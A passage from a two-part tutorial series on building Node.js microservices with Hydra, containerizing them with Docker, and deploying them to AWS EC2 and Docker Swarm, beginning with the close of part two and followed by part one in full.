    "serviceType": "game",
    "serviceDescription": "Plays hot potato game",
    "redis": {
      "url": "redis://10.0.0.154:6379/15"
    }
  }
}

After modifying the default config.json file to include the location of our Redis instance we're now ready to upload the config to Redis using the hydra-cli app.

$ hydra-cli cfg push hpp-service:0.0.1 config.json

Now we're ready to launch player instances.

Launching player instances

We'll launch containers the same way we've done earlier. In this case, we'll specify five instances using the replicas option.

$ docker service create \
    --name hpp-service \
    --network servicenet \
    --restart-condition any \
    --restart-max-attempts 5 \
    --update-delay 10s \
    --constraint=node.role==worker \
    --env HYDRA_REDIS_URL="redis://10.0.0.154:6379/15" \
    --env HYDRA_SERVICE="hpp-service:0.0.1" \
    --replicas=5 \
    cjus/hpp-service:0.0.1

You should then see the new hpp-service instances appear in the swarm visualizer.

Starting a game!

To start a game, we need to access the ALB with the route of our Hot Potato Service. The game runs for about 15 seconds, so we have to wait a bit for a reply. The IDs listed in square brackets are the Hydra service instance IDs for the services which participated in the game. You might be wondering why we only see three here? The reason is that the game is time limited with built-in delays so you'd have to increase the game duration to see more nodes participating. Running the game a second time should reveal new nodes.

To prove that this is actually working we can ask the API Gateway (HydraRouter) for a list of service nodes. Using the returned JSON, we can locate each of the instances which participated in the game.

Wrap-up

In this article, we stepped through creating a Docker Swarm cluster on AWS. In the process, we created and deployed microservices built using Hydra - which adds a microservice layer above ExpressJS. We learned how Docker orchestration allows us to create services and easily scale them as needed. We used the Hydra-Router as a service-aware API Gateway to route calls to our microservices without knowing their location within the swarm. And lastly, our Hot Potato game service demonstrated inter-service messaging within the cluster.

This concludes our two-part series. However, this isn't an end - for many of us, this is just the beginning of our journey. Node-based microservices and containerization are a match made in heaven!

Containers used in this article can be found here and here. You can also review the code for the hello-service and hot potato service. If you have questions ping me on twitter - my DM is open!

In this two-part series, we'll look at building and deploying microservices to Amazon's AWS using Docker.

In this first part, we'll focus on building a simple microservice and packaging it in a docker container, we'll also step through hosting the container on AWS. In part two, we'll assemble a cluster of machines on AWS using Docker Swarm mode.

Make no mistake, this is fairly involved stuff, but I'm going to soften the blow in order to make this topic approachable to a wider audience.

If you're a pro at docker and AWS then you can skim through this article and look forward to part two.

Getting Started with AWS & Docker

Deploying microservices to the cloud is plagued with lots of complexity. To simplify the microservice portion we're going to use an NPM library called Hydra - which will greatly simply the effort while offering considerable scalability benefits. Even if you choose not to use Hydra, the information in this post should help you get started with AWS and Docker.

A quick recap if you're wondering what this Hydra thing is. Hydra is a NodeJS package which facilitates building distributed applications such as Microservices. Hydra offers features such as service discovery, distributed messaging, message load balancing, logging, presence, and health monitoring. As you can imagine, those features would benefit any service living on cloud infrastructure.

If you'd like to learn more, see two of my earlier posts here on RisingStack. The first is Building ExpressJS-based microservices using Hydra, and the second is Building a Microservices Example Game with Distributed Messaging. A microservice game? Seriously? For the record, I do reject claims that I have too much time on my hands. :)

We'll begin by reviewing docker containerization - just in case you're new to this. Feel free to skim or skip over the next section, if you're already familiar with Docker.

Containerization?

Virtual Machine software has ushered in the age of software containerization where applications can be packaged as containers making them easier to manage. Docker is a significant evolution of that trend.

Running microservices inside of containers makes them portable across environments. This greatly helps to reduce bugs which can be found during development as the environment your software runs in locally can match what you run in production.

Packaging a NodeJS microservice inside of a Docker container is straightforward. To begin with, you should download and install the Docker community edition from docker.com - if you haven't already done so.

Here is an overview of the containerization steps:

• Build a simple service
• Create a Dockerfile
• Build a container
• Run a container

Let's take a look at each of these steps.

Building a simple microservice

To build our simple microservice we'll use a package called Hydra-express, which creates a microservice using Hydra and ExpressJS. Why not just ExpressJS? By itself, an ExpressJS app only allows you to build a Node server and add API routes. However, that basic server isn't really a complete microservice. Granted that point is somewhat debatable - shades of gray if you will. In comparison, a Hydra-express app includes functionality to discover other Hydra apps and load balance requests between them using presence and health information. Those capabilities will become important when we consider multiple services running and communicating with each other on AWS and in a Docker Swarm cluster. Building Hydra and Hydra-Express apps are covered in more detail in my earlier RisingStack articles.

This approach does however, require that you're running a local instance of Redis or have access to a remote one. In the extremely unlikely event that you're unfamiliar with Redis - checkout this quick start page.

In the interests of time, and to avoid manually typing the code for a basic hydra-express app - we'll install Yeoman and Eric Adum's excellent hydra app generator. A Yeoman generator asks a series of questions and then generates an app for you. You can then customize it to suit your needs. This is similar to running the ExpressJS Generator.

$ sudo npm install -g yo generator-fwsp-hydra

Next, we'll invoke Yeoman and the hydra generator. Name your microservice hello and make sure to specify a port address of 8080 - you can then choose defaults for the remaining options.

$ yo fwsp-hydra
fwsp-hydra generator v0.3.1   yeoman-generator v1.1.1   yo v1.8.5
? Name of the service (`-service` will be appended automatically) hello
? Your full name? Carlos Justiniano
? Your email address? carlos.justiniano@gmail.com
? Your organization or username? (used to tag docker images) cjus
? Host the service runs on?
? Port the service runs on? 8080
? What does this service do? Says hello
? Does this service need auth? No
? Is this a hydra-express service? Yes
? Set up a view engine? No
? Set up logging? No
? Enable CORS on serverResponses? No
? Run npm install? No
   create hello-service/specs/test.js
   create hello-service/specs/helpers/chai.js
   create hello-service/.editorconfig
   create hello-service/.eslintrc
   create hello-service/.gitattributes
   create hello-service/.nvmrc
   create hello-service/.gitignore
   create hello-service/package.json
   create hello-service/README.md
   create hello-service/hello-service.js
   create hello-service/config/sample-config.json
   create hello-service/config/config.json
   create hello-service/scripts/docker.js
   create hello-service/routes/hello-v1-routes.js

Done!
'cd hello-service' then 'npm install' and 'npm start'

You'll end up with a folder called hello-service.

$ tree hello-service/
hello-service/
├── README.md
├── config
│   ├── config.json
│   └── sample-config.json
├── hello-service.js
├── package.json
├── routes
│   └── hello-v1-routes.js
├── scripts
│   └── docker.js
└── specs
    ├── helpers
    │   └── chai.js
    └── test.js

5 directories, 9 files

In the folder structure above the config directory contains a config.json file. That file is used by Hydra-express to specify information about our microservice.

The config file will look something like this:

{
  "environment": "development",
  "hydra": {
    "serviceName": "hello-service",
    "serviceIP": "",
    "servicePort": 8080,
    "serviceType": "",
    "serviceDescription": "Says hello",
    "plugins": {
      "logger": {
        "logRequests": true,
        "elasticsearch": {
          "host": "localhost",
          "port": 9200,
          "index": "hydra"
        }
      }
    },
    "redis": {
      "url": "127.0.0.1",
      "port": 6379,
      "db": 15
    }
  }
}

If you're using an instance of Redis which isn't running locally you can specify its location under the hydra.redis config branch. You can also optionally specify a Redis url such as redis://:secrets@example.com:6379/15 and you can remove the port and db key values from the config.

After cd-ing into the folder you can build using npm install, and after running npm start you should see:

$ npm start

> hello-service@0.0.1 start /Users/cjus/dev/hello-service
> node hello-service.js

INFO
{ event: 'start',
  message: 'hello-service (v.0.0.1) server listening on port 8080' }
INFO
{ event: 'info', message: 'Using environment: development' }
serviceInfo { serviceName: 'hello-service',
  serviceIP: '192.168.1.151',
  servicePort: 8080 }

Take note of the serviceIP address 192.168.1.151 - yours will be different.

Using the IP address and Port above we can access our v1/hello route from a web browser:

Note, I'm using the excellent JSON Formatter chrome extension to view JSON output in all of its glory. Without a similar browser extension you'll just see this:

{"statusCode":200,"statusMessage":"OK","statusDescription":"Request succeeded without error","result":{"greeting":"Welcome to Hydra Express!"}}

OK, let's dockerize this thing!

Creating the Dockerfile

In order to containerize our microservice, we need to provide instructions to Docker. This is done using a text file called a Dockerfile. If you're following along and used the hydra generator, you already have a way to easily create a Dockerfile. You simply type $ npm run docker build and the docker.js file we saw earlier will be invoked to create your Dockerfile and build your container. That's a quick way to get the job done - but if you've never created a Dockerfile following in this section will be educational.

Here is a sample Dockerfile:

FROM node:6.9.4-alpine
MAINTAINER Carlos Justiniano cjus34@gmail.com
EXPOSE 8080
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
ADD . /usr/src/app
RUN npm install --production
CMD ["npm", "start"]

The first line specifies the base image that will be used for your container. We specify the light-weight (Alpine) image containing a minimal Linux and NodeJS version 6.9.4  -  however, you can specify the larger standard Linux image using: FROM: node:6.9.4

The EXPOSE entry identifies the port that our microservice listens on. The remaining lines specify that the contents of the current directory should be copied to /usr/src/app inside of the container. We then instruct Docker to run the npm install command to pull package dependencies. The final line specifies that npm start will be invoked when the container is executed. You can learn more on the Dockerfiles documentation page.

Build the container

There is one thing we need to do before we build our container. We need to update our microservice's config.json file. You may be pointing to a local instance of Redis like this:

    "redis": {
      "url": "127.0.0.1",
      "port": 6379,
      "db": 15
    }

You'll need to change the IP address pointing to localhost at 127.0.0.1 - because when our service is running in a container its network is different! Yes friends, welcome to the world of docker networking. So in the container's network - Redis isn't located at 127.0.0.1 - in fact, Redis is running outside of our container.

There are lots of ways of dealing with this, but one way is simply to change the URL reference to a named DNS entry - like this:

    "redis": {
      "url": "redis",
      "port": 6379,
      "db": 15
    }

That basically says "when looking for the location of Redis, resolve the DNS entry named redis to an IP address". We'll see how this works shortly.

With the config change and a Dockerfile on hand we're now ready to package our microservice inside of a container.

$ docker build -t cjus/hello-service:0.0.1 .

Note: Don't forget the trailing period which specifies the working directory.

The -t tag for the command above specifies your service name and version. It's a good practice to prefix that entry with your username or company name. For example: cjus/hello-service:0.0.1 If you're using Docker hub to store your containers then you'll definitely need to prefix your container name. We'll touch on Docker hub a bit later.

You should see a long stream of output as your project is being loaded into the container and npm install is being run to create a complete environment for your microservice.

Running our container

We can run our container using one command:

$ docker run -d -p 8080:8080 \
   --add-host redis:192.168.1.151 \
   --name hello-service \
   cjus/hello-service:0.0.1

We use the docker run command to invoke our container and service. The -d flag specifies that we want to run in daemon (background mode) and the -p flag publishes our services ports. The port syntax says: "on this machine use port 8080 (first portion) and map that to the containers internal port (second portion)" which is also 8080. The --add-host allows us to specify a DNS entry called redis to pass to our container - how cool is that? We also name the service using the --name flag  -  that's useful otherwise docker will provide a random name for our running container. The last portion shown is the service name and version. Ideally, that should match the version in your package.json file.

Communicating with our container

At this point you should be able to open your web browser and point it to http://localhost:8080/v1/hello to access your service - the same way we did earlier when our service was running outside of the container. Using docker commands you can start, stop, remove containers and a whole lot more. Checkout this handy command cheat sheet.

Sharing your containers

Now that you've created a container you can share it with others by publishing it to a container registry such as Docker Hub. You can setup a free account  which will allow you to publish unlimited public containers, but you'll only be able to publish one private container. As they say in the drug business: "The first one is free". To maintain multiple private containers you'll need a paid subscription. However, the plans start at a reasonably low price of $7 per month. You can forgo this expense by creating your own local container repository. However, this isn't a useful option when we need to work in the cloud.

I have an account on docker hub under the username cjus. So to push the hello-service container to my docker account I simply use:

$ docker push cjus/hello-service:0.0.1

To pull (download) a container image from my docker hub repo I use this command:

$ docker pull cjus/hello-service:0.0.1

A look at configuration management

If you refer back to our sample microservice's config.json file you'll realize that it got packaged in our docker container. That happened because of this line in our Dockerfile which instructs docker to copy all the files in the current directory into the /usr/src/app folder inside of the docker container.

ADD . /usr/src/app

So that included our ./config folder. Packaging a config file inside of the container isn't the most flexible thing to do - after all, we might need a different config file for each environment our service runs in.

Fortunately, there is an easy way to specify an external config file.

$ docker run -d -p 8080:8080 \
   --add-host redis:192.168.1.151 \
   -v ~/configs/hello-service:/usr/src/app/config \
   --name hello-service \
   cjus/hello-service:0.0.1

The example above has a -v flag which specifies a data "volume". The mapping consists of two directories separated by a colon character.

So: source-path:container-path

The volume points to a folder called configs in my home directory. Inside that folder I have a config.json file. That folder is then mapped to the /usr/src/app/config folder inside of the docker container.

When the command above is issued the result will be that the container's /usr/src/app/config will effectively be mapped to my ~/configs folder. Our microservice still thinks it's loading the config from its local directory and doesn't know that we've mapped that folder to our host machine.

We'll look at a much cleaner way of managing config files when we deploy our containers to a docker swarm in part two of this series. For now, we'll just roll with this.

Moving to Amazon Web Services

I have to assume here that you're familiar with using AWS and in particular creating EC2 instances and later ssh-ing into them. And that you're comfortable creating security groups and opening ports. If not, you can still follow along to get a sense of what's involved.

We'll begin by signing into AWS and navigating to the EC2 Dashboard. Once there click on the "Launch Instance" button. On the page that loads select the AWS Marketplace tab. You should see a screen like this:

Search for ECS Optimized to locate the Amazon ECS-Optimized AMI. Amazon created this image for use with its EC2 Container Service. We won't be using ECS and will opt instead to use Docker and later, Docker Swarm. This choice will allow you to use the skills you acquire here on other cloud providers such as Google Cloud and Microsoft's Azure. The reason we're using an ECS Optimized AMI is because it has Docker pre-installed! In part two of this series, we'll use Docker tools to launch AWS EC2 instances and install the docker engine onto them. However, let's not get ahead of ourselves.

For now, select Amazon ECS-Optimized AMI and create an EC2 t2.micro instance. Go ahead and configure it using defaults and a security group which opens port 8080.

Once the EC2 instance is ready you can SSH into it to install our docker container.

$ ssh 54.186.15.17
Warning: Permanently added 'ec2-54-186-15-17.us-west-2.compute.amazonaws.com,54.186.15.17' (ECDSA) to the list of known hosts.
Last login: Sat Mar 25 21:47:19 2017 from pool-xx-xxx-xxx-xxx.nwrknj.fios.verizon.net

   __|  __|  __|
   _|  (   \__ \   Amazon ECS-Optimized Amazon Linux AMI 2016.09.g
 ____|\___|____/

For documentation visit, http://aws.amazon.com/documentation/ecs
2 package(s) needed for security, out of 9 available
Run "sudo yum update" to apply all updates.

You should run the security updates while you're there.

You can check the version of docker that's running using:

[ec2-user@ip-172-31-6-97 ~]$ docker --version
Docker version 1.12.6, build 7392c3b/1.12.6

To ensure that you can pull (download) your private docker containers, you'll need to sign into docker hub using:

$ docker login

To install our microservice we just need to pull it from docker hub.

$ docker pull cjus/hello-service:0.0.1

Note: replace cjus above with your docker user name.

Now we're ready to run it. But we don't just want to execute it on the command line as we did earlier because we need to make sure that our container runs should our EC2 instance reboot. To do that we'll add an two entries to the machine's /etc/rc.local file.

$ sudo vi /etc/rc.local

And add the following entries:

docker rm -f hello-service
docker run -d -p 8080:8080 \
   --restart always \
   --add-host redis:54.202.205.22 \
   -v /usr/local/etc/configs/hello-service:/usr/src/app/config \
   --name hello-service \
   cjus/hello-service:0.0.1

Note: make sure to use your own docker hub user name in the last line above.

Our -v volume flag above specifies the location of the hello-service config file. You'll need to create that folder and copy a config file into it. That will give you the ability to later tweak or extend the settings.

$ sudo mkdir -p /usr/local/etc/configs/hello-service
$ cd /usr/local/etc/configs/hello-service

Referring back to our docker run command above, you'll also notice that I specified a Redis location as 54.202.205.22. That's a separate instance from our new EC2 instance. In my example, I've created another EC2 instance to host a Redis docker container. You also have the option of running a docker container on the current machine or on another in the same Amazon VPC. While that works, the recommended solution for production use is to point to an Amazon ElasticCache running a Redis cluster or a service such as RedisLabs.

For our basic tests here, you can add Redis as a docker container using:

$ docker pull redis:3.0.7

Then add this onto the /etc/rc.local file:

docker rm -f redis
docker run -d -p 6379:6379 --restart always -v /data:/data --name redis redis:3.0.7

Notice that we're using -v /data:/data above. That will allow Redis to persist its data. You'll need to actually create the /data folder using: sudo mkdir /data.

After making the changes above you can restart your EC2 instance(s) with sudo reboot.
Once the machine restarts you should be able to access our sample microservice through the hosted container.

Recap

In this article, we saw how to build a simple microservice, containerize it, and use the same container on an AWS EC2 instance. Granted, there are lots of different ways of doing this. The example here is intended to be just one simple approach to get you started. With small modifications, you would be able to create lots of different services running across many machines.

The examples in this article and the online docker documentation should give you the tools you need to get started with microservices in the cloud.

In the second part of this series, we'll look at a more advanced approach using a cluster of machines and Docker Swarm mode. Stay tuned!